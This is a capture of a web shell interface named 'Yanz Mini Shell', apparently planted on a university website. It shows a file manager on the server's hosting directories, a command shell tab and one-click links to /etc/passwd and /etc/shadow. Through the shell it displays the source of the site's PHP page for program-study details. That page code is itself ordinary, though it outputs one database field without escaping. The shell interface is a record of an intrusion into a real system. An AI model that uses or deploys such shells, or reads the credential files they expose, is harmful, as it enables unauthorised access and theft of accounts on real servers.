Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php // ============================================================= // prodi.php - Detail program studi (?slug=biologi) // ============================================================= require_once __DIR__ . '/../config/config.php'; $slug = isset($_GET['slug']) ? trim($_GET['slug']) : ''; if (!preg_match('/^[a-z0-9\-]+$/', $slug)) { header("Location: " . $base_url . "/404.php"); exit; } $stmt = $conn->prepare("SELECT * FROM program_studi WHERE slug = ? AND is_active = 1 LIMIT 1"); $stmt->bind_param("s", $slug); $stmt->execute(); $result = $stmt->get_result(); $prodi = $result->fetch_assoc(); $stmt->close(); if (!$prodi) { header("Location: " . $base_url . "/404.php"); exit; } $page_title = $prodi['jenjang'] . ' ' . $prodi['nama'] . ' - ' . setting('site_name'); $meta_description = potong($prodi['deskripsi_singkat'], 160); include __DIR__ . '/../includes/header.php'; ?> <div class="page-hero" style="background: linear-gradient(135deg, #0a2b3e, #115277); color: white; padding: 80px 0 60px;"> <div class="container"> <nav style="font-size: 0.85rem; opacity: 0.8; margin-bottom: 16px;"> <a href="<?= $base_url ?>/index.php" style="color: #fff000; text-decoration: none;"><?= e(setting('prodi_label_beranda', 'Beranda')) ?></a> <span style="margin: 0 8px;">›</span> <a href="<?= $base_url ?>/pages/program-studi.php" style="color: #fff000; text-decoration: none;"><?= e(setting('prodi_label_menu', 'Program Studi')) ?></a> <span style="margin: 0 8px;">›</span> <span><?= e($prodi['nama']) ?></span> </nav> <div style="display: flex; align-items: center; gap: 24px; flex-wrap: wrap;" data-aos="fade-up"> <div style="width: 80px; height: 80px; background: rgba(255,255,255,0.1); border-radius: 20px; display: flex; align-items: center; justify-content: center; overflow: hidden;"> <?php if (!empty($prodi['icon_gambar'])): ?> <img src="<?= $base_url ?>/assets/images/icon-prodi/<?= e($prodi['icon_gambar']) ?>" alt="Icon <?= e($prodi['nama']) ?>" style="width: 100%; height: 100%; object-fit: cover;"> <?php else: ?> <i class="<?= e($prodi['icon']) ?>" style="font-size: 40px; color: #fff000;"></i> <?php endif; ?> </div> <div> <div style="font-size: 0.85rem; opacity: 0.85; letter-spacing: 1px;"> <?= e(setting('prodi_label_prefix', 'PROGRAM STUDI')) ?> <?= e($prodi['jenjang']) ?> </div> <h1 style="font-family: 'Poppins',sans-serif; font-size: 2.5rem; font-weight: 800;"> <?= e($prodi['nama']) ?> </h1> <?php if ($prodi['akreditasi']): ?> <div style="margin-top: 8px; display: inline-block; background: #fff000; color: #0a2b3e; padding: 4px 14px; border-radius: 40px; font-size: 0.85rem; font-weight: 700;"> <i class="fas fa-certificate"></i> Akreditasi <?= e($prodi['akreditasi']) ?> (<?= e($prodi['lembaga_akreditasi'] ?: 'LAMSAMA') ?>) </div> <?php endif; ?> </div> </div> </div> </div> <div class="container" style="padding: 60px 0;"> <div style="display: grid; grid-template-columns: 2fr 1fr; gap: 40px;" class="prodi-grid-content"> <div data-aos="fade-up"> <h2 style="font-family:'Poppins',sans-serif;font-size:1.6rem;color:#0a2b3e;margin-bottom:16px;"> Tentang Program Studi </h2> <div class="rich-content" style="font-size: 1.05rem; line-height: 1.8; color: #2c3e50;"> <?= renderRich($prodi['deskripsi_lengkap']) ?> </div> <?php if (!empty($prodi['visi'])): ?> <div style="background:#eff6ff; border-left:4px solid #00bfff; padding:24px 28px; border-radius:14px; margin:32px 0;"> <h3 style="font-family:'Poppins',sans-serif; font-size:1.2rem; color:#0a2b3e; margin:0 0 10px; display:flex; align-items:center; gap:10px;"> <i class="fas fa-eye" style="color:#00bfff;"></i> Visi </h3> <div class="rich-content" style="color:#334155; line-height:1.75;"><?= renderRich($prodi['visi']) ?></div> </div> <?php endif; ?> <?php if (!empty($prodi['misi'])): ?> <div style="background:#ecfdf5; border-left:4px solid #10b981; padding:24px 28px; border-radius:14px; margin-bottom:32px;"> <h3 style="font-family:'Poppins',sans-serif; font-size:1.2rem; color:#0a2b3e; margin:0 0 10px; display:flex; align-items:center; gap:10px;"> <i class="fas fa-bullseye" style="color:#10b981;"></i> Misi </h3> <div class="rich-content" style="color:#334155; line-height:1.75;"><?= renderRich($prodi['misi']) ?></div> </div> <?php endif; ?> <?php if (!empty($prodi['profil_lulusan'])): ?> <h2 style="font-family:'Poppins',sans-serif;font-size:1.5rem;color:#0a2b3e;margin:32px 0 14px; display:flex; align-items:center; gap:10px;"> <i class="fas fa-user-graduate" style="color:#8b5cf6;"></i> Profil Lulusan </h2> <div class="rich-content" style="font-size:1rem; line-height:1.8; color:#334155;"><?= renderRich($prodi['profil_lulusan']) ?></div> <?php endif; ?> <?php if (!empty($prodi['kompetensi'])): ?> <h2 style="font-family:'Poppins',sans-serif;font-size:1.5rem;color:#0a2b3e;margin:32px 0 14px; display:flex; align-items:center; gap:10px;"> <i class="fas fa-medal" style="color:#f59e0b;"></i> Kompetensi yang Dikembangkan </h2> <div class="rich-content" style="font-size:1rem; line-height:1.8; color:#334155;"><?= renderRich($prodi['kompetensi']) ?></div> <?php endif; ?> <?php if (!empty($prodi['kurikulum'])): ?> <h2 style="font-family:'Poppins',sans-serif;font-size:1.5rem;color:#0a2b3e;margin:32px 0 14px; display:flex; align-items:center; gap:10px;"> <i class="fas fa-book-open" style="color:#0ea5e9;"></i> Kurikulum </h2> <div class="rich-content" style="font-size:1rem; line-height:1.8; color:#334155;"><?= $prodi['kurikulum'] /* longtext bisa HTML */ ?></div> <?php endif; ?> <?php if (!empty($prodi['prospek_karir'])): ?> <h2 style="font-family:'Poppins',sans-serif;font-size:1.5rem;color:#0a2b3e;margin:32px 0 14px; display:flex; align-items:center; gap:10px;"> <i class="fas fa-briefcase" style="color:#dc2626;"></i> Prospek Karir Lulusan </h2> <div class="rich-content" style="font-size: 1rem; line-height: 1.8; color: #334155;"> <?= renderRich($prodi['prospek_karir']) ?> </div> <?php endif; ?> <?php if (!empty($prodi['fasilitas_lab'])): ?> <h2 style="font-family:'Poppins',sans-serif;font-size:1.5rem;color:#0a2b3e;margin:32px 0 14px; display:flex; align-items:center; gap:10px;"> <i class="fas fa-flask" style="color:#06b6d4;"></i> Fasilitas Laboratorium </h2> <div class="rich-content" style="font-size:1rem; line-height:1.8; color:#334155;"><?= renderRich($prodi['fasilitas_lab']) ?></div> <?php endif; ?> <!-- CTA PMB --> <div style="background: linear-gradient(135deg,#0a2b3e,#115277); color:white; padding:32px; border-radius:20px; margin-top:40px; text-align:center;"> <h3 style="font-family:'Poppins',sans-serif; font-size:1.4rem; font-weight:700; margin:0 0 10px;">Tertarik dengan Prodi Ini?</h3> <p style="opacity:0.9; margin-bottom:20px;">Daftar penerimaan mahasiswa baru atau konsultasi dengan ketua prodi.</p> <div style="display:flex; gap:12px; justify-content:center; flex-wrap:wrap;"> <a href="<?= e(setting('pmb_url', '#')) ?>" target="_blank" rel="noopener" style="background:#fff000; color:#0a2b3e; padding:12px 28px; border-radius:12px; text-decoration:none; font-weight:700;"> <i class="fas fa-graduation-cap"></i> Info PMB </a> <a href="<?= $base_url ?>/pages/kontak.php" style="background:rgba(255,255,255,0.15); color:white; padding:12px 28px; border-radius:12px; text-decoration:none; font-weight:700; border:1px solid rgba(255,255,255,0.3);"> <i class="fas fa-envelope"></i> Konsultasi </a> </div> </div> </div> <aside data-aos="fade-up" data-aos-delay="100"> <div style="background: #f8fafc; border-radius: 20px; padding: 28px; position: sticky; top: 100px;"> <h3 style="font-family:'Poppins',sans-serif;font-size:1.1rem;font-weight:700; color:#0a2b3e;margin-bottom:16px;"> Informasi Penting </h3> <div style="font-size: 0.95rem; line-height: 1.7;"> <p style="margin-bottom: 10px;"> <i class="fas fa-graduation-cap" style="color:#00bfff;margin-right:8px;"></i> <strong>Gelar:</strong> <?= !empty($prodi['gelar_lulusan']) ? e($prodi['gelar_lulusan']) : 'Sarjana (' . e($prodi['jenjang']) . ')' ?> </p> <p style="margin-bottom: 10px;"> <i class="fas fa-clock" style="color:#00bfff;margin-right:8px;"></i> <strong>Durasi:</strong> <?= !empty($prodi['durasi_studi']) ? e($prodi['durasi_studi']) : '4 Tahun / 8 Semester' ?> </p> <p style="margin-bottom: 10px;"> <i class="fas fa-book" style="color:#00bfff;margin-right:8px;"></i> <strong>Total SKS:</strong> <?= !empty($prodi['total_sks']) ? e($prodi['total_sks']) : '±144 SKS' ?> </p> <?php if ($prodi['akreditasi']): ?> <p style="margin-bottom: 10px;"> <i class="fas fa-certificate" style="color:#00bfff;margin-right:8px;"></i> <strong>Akreditasi:</strong> <?= e($prodi['akreditasi']) ?> (<?= e($prodi['lembaga_akreditasi'] ?: 'LAMSAMA') ?>) </p> <?php endif; ?> <?php if (!empty($prodi['sk_akreditasi'])): ?> <p style="margin-bottom: 10px;"> <i class="fas fa-file-signature" style="color:#00bfff;margin-right:8px;"></i> <strong>No. SK:</strong> <span style="font-size:0.85rem;"><?= e($prodi['sk_akreditasi']) ?></span> </p> <?php endif; ?> <?php if (!empty($prodi['akreditasi_berlaku_sampai'])): ?> <p style="margin-bottom: 10px;"> <i class="fas fa-calendar-check" style="color:#00bfff;margin-right:8px;"></i> <strong>Berlaku sampai:</strong> <?= e(tanggalIndo($prodi['akreditasi_berlaku_sampai'])) ?> </p> <?php endif; ?> </div> <?php if (!empty($prodi['sertifikat_akreditasi'])): ?> <button type="button" onclick="document.getElementById('modalSertifikat').style.display='flex'" style="width:100%;display:flex;align-items:center;justify-content:center;gap:8px;text-align:center;background:#f0f9ff;color:#0369a1;border:1.5px solid #bae6fd; padding:12px;border-radius:12px;cursor:pointer; font-weight:700;margin-top:14px;font-size:0.9rem;font-family:inherit;"> <i class="fas fa-image"></i> Lihat Sertifikat Akreditasi </button> <!-- Modal sertifikat: gambar tampil di halaman, tidak ada link unduh --> <div id="modalSertifikat" onclick="if(event.target===this) this.style.display='none'" style="display:none; position:fixed; inset:0; background:rgba(10,43,62,0.85); z-index:1000; align-items:center; justify-content:center; padding:20px;"> <div style="position:relative; max-width:min(700px, 92vw); max-height:90vh;"> <button type="button" onclick="document.getElementById('modalSertifikat').style.display='none'" style="position:absolute; top:-14px; right:-14px; width:36px; height:36px; border-radius:50%; background:#fff000; color:#0a2b3e; border:none; font-weight:800; font-size:1.1rem; cursor:pointer; z-index:1;"> ✕ </button> <img src="<?= $base_url ?>/assets/images/akreditasi/<?= e($prodi['sertifikat_akreditasi']) ?>" alt="Sertifikat Akreditasi <?= e($prodi['nama']) ?>" oncontextmenu="return false" draggable="false" style="max-width:100%; max-height:90vh; display:block; border-radius:12px; user-select:none; -webkit-touch-callout:none; box-shadow:0 20px 60px rgba(0,0,0,0.4);"> </div> </div> <?php endif; ?> <a href="<?= e(setting('pmb_url', '#')) ?>" target="_blank" rel="noopener" style="display:block;text-align:center;background:#fff000;color:#0a2b3e; padding:14px;border-radius:12px;text-decoration:none; font-weight:800;margin-top:20px;"> <i class="fas fa-user-graduate"></i> Daftar Sekarang </a> </div> </aside> </div> </div> <?php // ============ DOSEN PENGAJAR untuk prodi ini ============ $d_filter_p = softDeleteEnabled($conn, 'dosen') ? " AND d.deleted_at IS NULL" : ""; $dosen_q = $conn->prepare("SELECT d.id, d.slug, d.nama, d.gelar_depan, d.gelar_belakang, d.foto, d.jabatan_fungsional, d.gugus_riset FROM dosen d WHERE d.is_active = 1 AND d.prodi_id = ? $d_filter_p ORDER BY d.sort_order ASC, d.nama ASC"); $dosen_q->bind_param("i", $prodi['id']); $dosen_q->execute(); $dosen_prodi = $dosen_q->get_result(); ?> <?php // Section DOSEN selalu tampil, dengan placeholder kalau belum ada data ?> <div style="background:#f8fafc; padding:60px 0;"> <div class="container"> <div style="text-align:center; max-width:680px; margin:0 auto 40px;" data-aos="fade-up"> <span style="display:inline-block; background:#e6f7ff; color:#0099cc; padding:6px 16px; border-radius:20px; font-size:0.82rem; font-weight:700; letter-spacing:1px; margin-bottom:14px;"> DOSEN PENGAJAR </span> <h2 style="font-family:'Poppins',sans-serif; font-size:1.9rem; font-weight:800; color:#0a2b3e; margin:0 0 12px;"> Dosen Program Studi <?= e($prodi['nama']) ?> </h2> <p style="color:#64748b; margin:0;">Tim pengajar yang berpengalaman di bidangnya, akan membimbing Anda selama studi.</p> </div> <?php if ($dosen_prodi && $dosen_prodi->num_rows > 0): ?> <div style="display:grid; grid-template-columns: repeat(auto-fill, minmax(220px, 1fr)); gap:20px;"> <?php $delay = 0; while ($d = $dosen_prodi->fetch_assoc()): $full = trim(($d['gelar_depan'] ? $d['gelar_depan'].' ' : '') . $d['nama'] . ($d['gelar_belakang'] ? ', '.$d['gelar_belakang'] : '')); $foto = !empty($d['foto']) ? $base_url.'/upload/dosen/'.e($d['foto']) : ''; ?> <a href="<?= $base_url ?>/pages/dosen.php?slug=<?= e($d['slug']) ?>" data-aos="fade-up" data-aos-delay="<?= $delay ?>" style="background:white; border-radius:18px; padding:22px; text-align:center; box-shadow:0 4px 16px rgba(0,0,0,0.06); text-decoration:none; color:inherit; transition:transform 0.2s, box-shadow 0.2s; display:block;" onmouseover="this.style.transform='translateY(-4px)'; this.style.boxShadow='0 12px 28px rgba(0,0,0,0.1)';" onmouseout="this.style.transform='translateY(0)'; this.style.boxShadow='0 4px 16px rgba(0,0,0,0.06)';"> <div style="position:relative; width:96px; height:96px; margin:0 auto 14px;"> <div style="width:96px; height:96px; border-radius:50%; background:linear-gradient(135deg, #00bfff, #0099cc); display:flex; align-items:center; justify-content:center; color:white; font-weight:800; font-size:2rem;"> <?= strtoupper(substr($d['nama'], 0, 1)) ?> </div> <?php if ($foto): ?> <img src="<?= $foto ?>" alt="<?= e($full) ?>" style="position:absolute; top:0; left:0; width:96px; height:96px; border-radius:50%; object-fit:cover; border:3px solid #f1f5f9;" onerror="this.style.display='none';"> <?php endif; ?> </div> <h4 style="font-family:'Poppins',sans-serif; font-size:0.95rem; font-weight:700; color:#0a2b3e; margin:0 0 6px; line-height:1.3;"><?= e($full) ?></h4> <?php if (!empty($d['jabatan_fungsional'])): ?> <p style="font-size:0.78rem; color:#0099cc; margin:0 0 4px; font-weight:600;"><?= e($d['jabatan_fungsional']) ?></p> <?php endif; ?> <?php if (!empty($d['gugus_riset'])): ?> <p style="font-size:0.74rem; color:#94a3b8; margin:0;"><?= e(potong($d['gugus_riset'], 40)) ?></p> <?php endif; ?> </a> <?php $delay = ($delay + 60) % 240; endwhile; ?> </div> <div style="text-align:center; margin-top:32px;" data-aos="fade-up"> <a href="<?= $base_url ?>/pages/daftar-dosen.php?prodi=<?= (int)$prodi['id'] ?>" style="display:inline-flex; align-items:center; gap:8px; padding:12px 28px; background:#0a2b3e; color:white; text-decoration:none; border-radius:12px; font-weight:600;"> Lihat Profil Lengkap Dosen <i class="fas fa-arrow-right"></i> </a> </div> <?php else: ?> <!-- Placeholder kalau belum ada dosen di-assign ke prodi ini --> <div style="text-align:center; padding:40px 20px; background:white; border-radius:20px; box-shadow:0 4px 16px rgba(0,0,0,0.04);" data-aos="fade-up"> <div style="font-size:3rem; margin-bottom:12px;">👩🏫</div> <h3 style="color:#475569; margin:0 0 8px; font-size:1.1rem;">Data Dosen Belum Tersedia</h3> <p style="color:#94a3b8; margin:0; font-size:0.92rem;"> Profil dosen untuk Program Studi <?= e($prodi['nama']) ?> sedang dalam proses pengisian.<br> Silakan kunjungi halaman <a href="<?= $base_url ?>/pages/daftar-dosen.php" style="color:#00bfff; font-weight:600;">Daftar Dosen</a> untuk melihat semua dosen. </p> </div> <?php endif; ?> </div> </div> <style> @media (max-width: 768px) { .container > div[style*="grid-template-columns: 2fr 1fr"] { grid-template-columns: 1fr !important; } } </style> <?php include __DIR__ . '/../includes/footer.php'; ?>
Free Space : 56312041472 Byte